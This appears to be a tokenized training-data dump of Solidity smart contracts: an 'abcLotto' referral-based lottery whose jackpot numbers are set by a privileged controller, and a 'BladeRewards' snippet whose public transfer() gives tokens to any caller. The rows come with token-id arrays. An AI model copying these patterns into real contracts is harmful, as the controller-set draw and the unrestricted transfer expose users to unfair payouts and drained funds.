-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/**+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ abcLotto: a Block Chain Lottery Don't trust anyone but the CODE! ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ /* * This product is protected under license. Any unauthorized copy, modification, or use without * express written consent from the creators is prohibited. */ /**+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ - this is a 5/16 lotto, choose 5 numbers in 1-16. - per ticket has two chance to win the jackpot, daily and weekly. - daily jackpot need choose 5 right numbers. - weekly jackpot need choose 5 rights numbers with right sequence. - you must have an inviter then to buy. - act as inviter will get bonus. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ pragma solidity ^0.4.20; /** * @title abc address resolver interface. */ contract abcResolverI{ function getWalletAddress() public view returns (address); function getBookAddress() public view returns (address); function getControllerAddress() public view returns (address); } /** * @title inviter book interface. */ contract inviterBookI{ function isRoot(address addr) public view returns(bool); function hasInviter(address addr) public view returns(bool); function setInviter(address addr, string inviter) public; function pay(address addr) public payable; } /** * @title abcLotto : data structure, buy and reward functions. * @dev a decentralized lottery application. */ contract abcLotto{ using SafeMath for *; //global varibles abcResolverI public resolver; address public controller; inviterBookI public book; address public wallet; uint32 public currentRound; //current round, plus 1 every day; uint8 public currentState; //1 - bet period, 2 - freeze period, 3 - draw period. uint32[] public amounts; //buy amount per round. uint32[] public addrs; //buy addresses per round. bool[] public drawed; //lottery draw finished mark. uint public rollover = 0; uint[] public poolUsed; //constant uint constant ABC_GAS_CONSUME = 50; //this abc Dapp cost, default 50/1000. uint constant INVITER_FEE = 100; // inviter fee, default 100/1000; uint constant SINGLE_BET_PRICE = 50000000000000000; // single bet price is 0.05 ether. uint constant THISDAPP_DIV = 1000; uint constant POOL_ALLOCATION_WEEK = 500; uint constant POOL_ALLOCATION_JACKPOT = 618; uint constant MAX_BET_AMOUNT = 100; //per address can bet amount must be less than 100 per round. uint8 constant MAX_BET_NUM = 16; uint8 constant MIN_BET_NUM = 1; //data structures struct UnitBet{ uint8[5] _nums; bool _payed1; //daily bool _payed2; //weekly } struct AddrBets{ UnitBet[] _unitBets; } struct RoundBets{ mapping (address=>AddrBets) _roundBets; } RoundBets[] allBets; struct BetKeyEntity{ mapping (bytes5=>uint32) _entity; } BetKeyEntity[] betDaily; BetKeyEntity[] betWeekly; struct Jackpot{ uint8[5] _results; } Jackpot[] dailyJackpot; Jackpot[] weeklyJackpot; //events event OnBuy(address user, uint32 round, uint32 index, uint8[5] nums); event OnRewardDaily(address user, uint32 round, uint32 index, uint reward); event OnRewardWeekly(address user, uint32 round, uint32 index,uint reward); event OnRewardDailyFailed(address user, uint32 round, uint32 index); event OnRewardWeeklyFailed(address user, uint32 round, uint32 index); event OnNewRound(uint32 round); event OnFreeze(uint32 round); event OnUnFreeze(uint32 round); event OnDrawStart(uint32 round); event OnDrawFinished(uint32 round, uint8[5] jackpot); event BalanceNotEnough(); //modifier modifier onlyController { require(msg.sender == controller); _; } modifier onlyBetPeriod { require(currentState == 1); _; } modifier onlyHuman { require(msg.sender == tx.origin); _; } //check contract interface, are they upgrated? modifier abcInterface { if((address(resolver)==0)||(getCodeSize(address(resolver))==0)){ if(abc_initNetwork()){ wallet = resolver.getWalletAddress(); book = inviterBookI(resolver.getBookAddress()); controller = resolver.getControllerAddress(); } } else{ if(wallet != resolver.getWalletAddress()) wallet = resolver.getWalletAddress(); if(address(book) != resolver.getBookAddress()) book = inviterBookI(resolver.getBookAddress()); if(controller != resolver.getControllerAddress()) controller = resolver.getControllerAddress(); } _; } /** * @dev fallback funtion, this contract don't accept ether directly. */ function() public payable { revert(); } /** * @dev init address resolver. */ function abc_initNetwork() internal returns(bool) { //mainnet if (getCodeSize(0xde4413799c73a356d83ace2dc9055957c0a5c335)>0){ resolver = abcResolverI(0xde4413799c73a356d83ace2dc9055957c0a5c335); return true; } //others ... return false; } /** * @dev get code size of appointed address. */ function getCodeSize(address _addr) internal view returns(uint _size) { assembly { _size := extcodesize(_addr) } } //+++++++++++++++++++++++++ public operation functions +++++++++++++++++++++++++++++++++++++ /** * @dev buy: buy a new ticket. */ function buy(uint8[5] nums, string inviter) public payable onlyBetPeriod onlyHuman abcInterface returns (uint) { //check number range 1-16, no repeat number. if(!isValidNum(nums)) revert(); //doesn't offer enough value. if(msg.value < SINGLE_BET_PRICE) revert(); //check daily amount is less than MAX_BET_AMOUNT uint _am = allBets[currentRound-1]._roundBets[msg.sender]._unitBets.length.add(1); if( _am > MAX_BET_AMOUNT) revert(); //update storage varibles. amounts[currentRound-1]++; if(allBets[currentRound-1]._roundBets[msg.sender]._unitBets.length <= 0) addrs[currentRound-1]++; //insert bet record. UnitBet memory _bet; _bet._nums = nums; _bet._payed1 = false; _bet._payed2 = false; allBets[currentRound-1]._roundBets[msg.sender]._unitBets.push(_bet); //increase key-value records. bytes5 _key; _key = generateCombinationKey(nums); betDaily[currentRound-1]._entity[_key]++; _key = generatePermutationKey(nums); uint32 week = (currentRound-1) / 7; betWeekly[week]._entity[_key]++; //refund extra value. if(msg.value > SINGLE_BET_PRICE){ msg.sender.transfer(msg.value.sub(SINGLE_BET_PRICE)); } //has inviter? if(book.hasInviter(msg.sender) || book.isRoot(msg.sender)){ book.pay.value(SINGLE_BET_PRICE.mul(INVITER_FEE).div(THISDAPP_DIV))(msg.sender); } else{ book.setInviter(msg.sender, inviter); book.pay.value(SINGLE_BET_PRICE.mul(INVITER_FEE).div(THISDAPP_DIV))(msg.sender); } //emit event emit OnBuy(msg.sender, currentRound, uint32(allBets[currentRound-1]._roundBets[msg.sender]._unitBets.length), nums); return allBets[currentRound-1]._roundBets[msg.sender]._unitBets.length; } /** * @dev rewardDaily: apply for daily reward. */ function rewardDaily(uint32 round, uint32 index) public onlyBetPeriod onlyHuman returns(uint) { require(round>0 && round<=currentRound); require(drawed[round-1]); require(index>0 && index<=allBets[round-1]._roundBets[msg.sender]._unitBets.length); require(!allBets[round-1]._roundBets[msg.sender]._unitBets[index-1]._payed1); uint8[5] memory nums = allBets[round-1]._roundBets[msg.sender]._unitBets[index-1]._nums; bytes5 key = generateCombinationKey(nums); bytes5 jackpot = generateCombinationKey(dailyJackpot[round-1]._results); if(key != jackpot) return; uint win_amount = betDaily[round-1]._entity[key]; if(win_amount <= 0) return; uint amount = amounts[round-1]; uint total = SINGLE_BET_PRICE.mul(amount).mul(THISDAPP_DIV-INVITER_FEE).div(THISDAPP_DIV).mul(THISDAPP_DIV - POOL_ALLOCATION_WEEK).div(THISDAPP_DIV); uint pay = total.mul(THISDAPP_DIV - ABC_GAS_CONSUME).div(THISDAPP_DIV).div(win_amount); //pay action if(pay > address(this).balance){ emit BalanceNotEnough(); revert(); } allBets[round-1]._roundBets[msg.sender]._unitBets[index-1]._payed1 = true; if(!msg.sender.send(pay)){ emit OnRewardDailyFailed(msg.sender, round, index); revert(); } emit OnRewardDaily(msg.sender, round, index, pay); return pay; } /** * @dev rewardWeekly: apply for weekly reward. */ function rewardWeekly(uint32 round, uint32 index) public onlyBetPeriod onlyHuman returns(uint) { require(round>0 && round<=currentRound); require(drawed[round-1]); require(index>0 && index<=allBets[round-1]._roundBets[msg.sender]._unitBets.length); require(!allBets[round-1]._roundBets[msg.sender]._unitBets[index-1]._payed2); uint32 week = (round-1)/7 + 1; uint8[5] memory nums = allBets[round-1]._roundBets[msg.sender]._unitBets[index-1]._nums; bytes5 key = generatePermutationKey(nums); bytes5 jackpot = generatePermutationKey(weeklyJackpot[week-1]._results); if(key != jackpot) return; uint32 win_amount = betWeekly[week-1]._entity[key]; if(win_amount <= 0) return; uint pay = poolUsed[week-1].div(win_amount); //pay action if(pay > address(this).balance){ emit BalanceNotEnough(); return; } allBets[round-1]._roundBets[msg.sender]._unitBets[index-1]._payed2 = true; if(!msg.sender.send(pay)){ emit OnRewardWeeklyFailed(msg.sender, round, index); revert(); } emit OnRewardWeekly(msg.sender, round, index, pay); return pay; } //+++++++++++++++++++++++++ pure or view functions +++++++++++++++++++++++++++++++++++++ /** * @dev getSingleBet: get self's bet record. */ function getSingleBet(uint32 round, uint32 index) public view returns(uint8[5] nums, bool payed1, bool payed2) { if(round == 0 || round > currentRound) return; uint32 iLen = uint32(allBets[round-1]._roundBets[msg.sender]._unitBets.length); if(iLen <= 0) return; if(index == 0 || index > iLen) return; nums = allBets[round-1]._roundBets[msg.sender]._unitBets[index-1]._nums; payed1 = allBets[round-1]._roundBets[msg.sender]._unitBets[index-1]._payed1; payed2 = allBets[round-1]._roundBets[msg.sender]._unitBets[index-1]._payed2; } /** * @dev getAmountDailybyNum: get the daily bet amount of a set of numbers. */ function getAmountDailybyNum(uint32 round, uint8[5] nums) public view returns(uint32) { if(round == 0 || round > currentRound) return 0; bytes5 _key = generateCombinationKey(nums); return betDaily[round-1]._entity[_key]; } /** * @dev getAmountWeeklybyNum: get the weekly bet amount of a set of numbers. */ function getAmountWeeklybyNum(uint32 week, uint8[5] nums) public view returns(uint32) { if(week == 0 || currentRound < (week-1)*7) return 0; bytes5 _key = generatePermutationKey(nums); return betWeekly[week-1]._entity[_key]; } /** * @dev getDailyJackpot: some day's Jackpot. */ function getDailyJackpot(uint32 round) public view returns(uint8[5] jackpot, uint32 amount) { if(round == 0 || round > currentRound) return; jackpot = dailyJackpot[round-1]._results; amount = getAmountDailybyNum(round, jackpot); } /** * @dev getWeeklyJackpot: some week's Jackpot. */ function getWeeklyJackpot(uint32 week) public view returns(uint8[5] jackpot, uint32 amount) { if(week == 0 || week > currentRound/7) return; jackpot = weeklyJackpot[week - 1]._results; amount = getAmountWeeklybyNum(week, jackpot); } //+++++++++++++++++++++++++ controller functions +++++++++++++++++++++++++++++++++++++ /** * @dev start new round. */ function nextRound() abcInterface public onlyController { //current round must be drawed. if(currentRound > 0) require(drawed[currentRound-1]); currentRound++; currentState = 1; amounts.length++; addrs.length++; drawed.length++; RoundBets memory _rb; allBets.push(_rb); BetKeyEntity memory _en1; betDaily.push(_en1); Jackpot memory _b1; dailyJackpot.push(_b1); //if is a weekend or beginning. if((currentRound-1) % 7 == 0){ BetKeyEntity memory _en2; betWeekly.push(_en2); Jackpot memory _b2; weeklyJackpot.push(_b2); poolUsed.length++; } emit OnNewRound(currentRound); } /** * @dev freeze: enter freeze period. */ function freeze() abcInterface public onlyController { currentState = 2; emit OnFreeze(currentRound); } /** * @dev freeze: enter freeze period. */ function unfreeze() abcInterface public onlyController { require(currentState == 2); currentState = 1; emit OnUnFreeze(currentRound); } /** * @dev draw: enter freeze period. */ function draw() abcInterface public onlyController { require(!drawed[currentRound-1]); currentState = 3; emit OnDrawStart(currentRound); } /** * @dev controller have generated and set Jackpot. */ function setJackpot(uint8[5] jackpot) abcInterface public onlyController { require(currentState==3 && !drawed[currentRound-1]); //check jackpot range 1-16, no repeat number. if(!isValidNum(jackpot)) return; uint _fee = 0; //mark daily entity's prize.----------------------------------------------------------------------------------- uint8[5] memory _jackpot1 = sort(jackpot); dailyJackpot[currentRound-1]._results = _jackpot1; bytes5 _key = generateCombinationKey(_jackpot1); uint total = SINGLE_BET_PRICE.mul(amounts[currentRound-1]).mul(THISDAPP_DIV-INVITER_FEE).div(THISDAPP_DIV).mul(THISDAPP_DIV - POOL_ALLOCATION_WEEK).div(THISDAPP_DIV); uint win_amount = uint(betDaily[currentRound-1]._entity[_key]); uint _bonus_sum; if( win_amount <= 0){ rollover = rollover.add(total); } else{ _bonus_sum = total.mul(THISDAPP_DIV - ABC_GAS_CONSUME).div(THISDAPP_DIV).div(win_amount).mul(win_amount); _fee = _fee.add(total.sub(_bonus_sum)); } //end mark.----------------------------------------------------------------------------------- //mark weekly entity's prize.--------------------------------------------------------------------------------------- if((currentRound > 0) && (currentRound % 7 == 0)){ uint32 _week = currentRound/7; weeklyJackpot[_week-1]._results = jackpot; _key = generatePermutationKey(jackpot); uint32 _amounts = getAmountWeekly(_week); total = SINGLE_BET_PRICE.mul(_amounts).mul(THISDAPP_DIV-INVITER_FEE).div(THISDAPP_DIV).mul(POOL_ALLOCATION_WEEK).div(THISDAPP_DIV); win_amount = uint(betWeekly[_week-1]._entity[_key]); if(win_amount > 0){ total = total.add(rollover); _bonus_sum = total.mul(POOL_ALLOCATION_JACKPOT).div(THISDAPP_DIV); rollover = total.sub(_bonus_sum); poolUsed[_week-1] = _bonus_sum.mul(THISDAPP_DIV - ABC_GAS_CONSUME).div(THISDAPP_DIV).div(win_amount).mul(win_amount); _fee = _fee.add(_bonus_sum.sub(poolUsed[_week-1])); } else{ rollover = rollover.add(total); } } //end mark.----------------------------------------------------------------------------------- drawed[currentRound-1] = true; wallet.transfer(_fee); emit OnDrawFinished(currentRound, jackpot); } //+++++++++++++++++++++++++ internal functions +++++++++++++++++++++++++++++++++++++ /** * @dev getAmountWeekly: the bet amount of a week. */ function getAmountWeekly(uint32 week) internal view returns(uint32){ if(week == 0 || currentRound < (week-1)*7) return 0; uint32 _ret; uint8 i; if(currentRound > week*7){ for(i=0; i<7; i++){ _ret += amounts[(week-1)*7+i]; } } else{ uint8 j = uint8((currentRound-1) % 7); for(i=0;i<=j;i++){ _ret += amounts[(week-1)*7+i]; } } return _ret; } /** * @dev check if is a valid set of number. * @param nums : chosen number. */ function isValidNum(uint8[5] nums) internal pure returns(bool){ for(uint i = 0; i<5; i++){ if(nums[i] < MIN_BET_NUM || nums[i] > MAX_BET_NUM) return false; } if(hasRepeat(nums)) return false; return true; } /** * @dev sort 5 numbers. * don't want to change input numbers sequence, so copy it at first. * @param nums : input numbers. */ function sort(uint8[5] nums) internal pure returns(uint8[5]){ uint8[5] memory _nums; uint8 i; for(i=0;i<5;i++) _nums[i] = nums[i]; uint8 j; uint8 temp; for(i =0; i<5-1; i++){ for(j=0; j<5-i-1;j++){ if(_nums[j]>_nums[j+1]){ temp = _nums[j]; _nums[j] = _nums[j+1]; _nums[j+1] = temp; } } } return _nums; } /** * @dev does has repeat number? * @param nums : input numbers. */ function hasRepeat(uint8[5] nums) internal pure returns(bool){ uint8 i; uint8 j; for(i =0; i<5-1; i++){ for(j=i; j<5-1;j++){ if(nums[i]==nums[j+1]) return true; } } return false; } /** * @dev generate Combination key, need sort at first. */ function generateCombinationKey(uint8[5] nums) internal pure returns(bytes5){ uint8[5] memory temp = sort(nums); bytes5 ret; ret = (ret | byte(temp[4])) >> 8; ret = (ret | byte(temp[3])) >> 8; ret = (ret | byte(temp[2])) >> 8; ret = (ret | byte(temp[1])) >> 8; ret = ret | byte(temp[0]); return ret; } /** * @dev generate Permutation key. */ function generatePermutationKey(uint8[5] nums) internal pure returns(bytes5){ bytes5 ret; ret = (ret | byte(nums[4])) >> 8; ret = (ret | byte(nums[3])) >> 8; ret = (ret | byte(nums[2])) >> 8; ret = (ret | byte(nums[1])) >> 8; ret = ret | byte(nums[0]); return ret; } } /** * @title SafeMath : it's from openzeppelin. * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Subtracts two 32 bit numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub_32(uint32 a, uint32 b) internal pure returns (uint32) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } /** * @dev Adds two 32 bit numbers, throws on overflow. */ function add_32(uint32 a, uint32 b) internal pure returns (uint32 c) { c = a + b; assert(c >= a); return c; } }
* @title inviter book interface./
contract inviterBookI{ function isRoot(address addr) public view returns(bool); function hasInviter(address addr) public view returns(bool); function setInviter(address addr, string inviter) public; function pay(address addr) public payable; }
7,314,875
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 2649, 2198, 2165, 6978, 1560, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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843, 12, 2867, 3091, 13, 1071, 8843, 429, 31, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x12f052EDb953096fdA945D1E9c57E4C88Dc7A46A/sources/contracts/BladeRewards.sol
function transfer() external { Adbank adbank = Adbank(0xB3CB86774a9716ac7122Dc3e0942f66Ae8FB596b); adbank.transfer(msg.sender, 100); }
contract TransferBladeRewards { Adbank public adbank; address public owner; pragma solidity ^0.8.0; modifier onlyOwner(){ require(msg.sender == owner); _; } constructor(address _adbankContractAddress) { owner = msg.sender; adbank = Adbank(_adbankContractAddress); } function setContractAddress(address _adbankContractAddress) public onlyOwner { adbank = Adbank(_adbankContractAddress); } function transfer(address _to, uint256 _amount) public onlyOwner{ address spender = msg.sender; adbank.approve(spender, _amount); adbank.transfer( _to, _amount); } function getMessageSender() public view returns (address) { address sender = msg.sender; return sender; } function balanceOf(address _sender) public view returns (uint256){ uint256 balance = adbank.balanceOf(_sender); return balance; } function totalSupply() public view returns(uint256){ return adbank.totalSupply(); } function decimals() public view returns(uint8){ return adbank.decimals(); } function name() public view returns(string memory){ return adbank.name(); } function symbol() public view returns(string memory){ return adbank.symbol(); } }
722,160
[ 1, 4625, 348, 7953, 560, 30, 225, 445, 7412, 1435, 3903, 288, 377, 432, 1966, 2304, 1261, 10546, 273, 432, 1966, 2304, 12, 20, 20029, 23, 8876, 5292, 4700, 24, 69, 10580, 2313, 1077, 27, 22266, 40, 71, 23, 73, 5908, 9452, 74, 6028, 37, 73, 28, 22201, 6162, 26, 70, 1769, 377, 1261, 10546, 18, 13866, 12, 3576, 18, 15330, 16, 2130, 1769, 289, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 12279, 4802, 2486, 17631, 14727, 288, 203, 203, 565, 432, 1966, 2304, 1071, 1261, 10546, 31, 203, 377, 203, 565, 1758, 1071, 3410, 31, 203, 377, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 565, 9606, 1338, 5541, 1435, 95, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 3410, 1769, 203, 3639, 389, 31, 203, 565, 289, 203, 377, 203, 565, 3885, 12, 2867, 389, 361, 10546, 8924, 1887, 13, 288, 203, 3639, 3410, 273, 1234, 18, 15330, 31, 203, 3639, 1261, 10546, 273, 432, 1966, 2304, 24899, 361, 10546, 8924, 1887, 1769, 203, 565, 289, 203, 377, 203, 565, 445, 444, 8924, 1887, 12, 2867, 389, 361, 10546, 8924, 1887, 13, 1071, 1338, 5541, 288, 203, 3639, 1261, 10546, 273, 432, 1966, 2304, 24899, 361, 10546, 8924, 1887, 1769, 203, 565, 289, 203, 377, 203, 565, 445, 7412, 12, 2867, 389, 869, 16, 2254, 5034, 389, 8949, 13, 1071, 1338, 5541, 95, 203, 3639, 1758, 17571, 264, 273, 1234, 18, 15330, 31, 203, 540, 203, 3639, 1261, 10546, 18, 12908, 537, 12, 87, 1302, 264, 16, 389, 8949, 1769, 203, 540, 203, 3639, 1261, 10546, 18, 13866, 12, 389, 869, 16, 389, 8949, 1769, 203, 377, 203, 565, 289, 203, 377, 203, 565, 445, 2381, 12021, 1435, 1071, 1476, 1135, 261, 2867, 13, 288, 203, 3639, 1758, 5793, 273, 1234, 18, 15330, 31, 203, 540, 203, 3639, 327, 5793, 31, 203, 565, 289, 203, 377, 203, 377, 203, 565, 445, 11013, 951, 12, 2867, 389, 15330, 13, 1071, 1476, 1135, 261, 11890, 5034, 15329, 203, 3639, 2254, 5034, 11013, 273, 1261, 10546, 18, 12296, 951, 24899, 15330, 1769, 203, 540, 203, 3639, 327, 11013, 31, 203, 565, 289, 203, 377, 203, 377, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 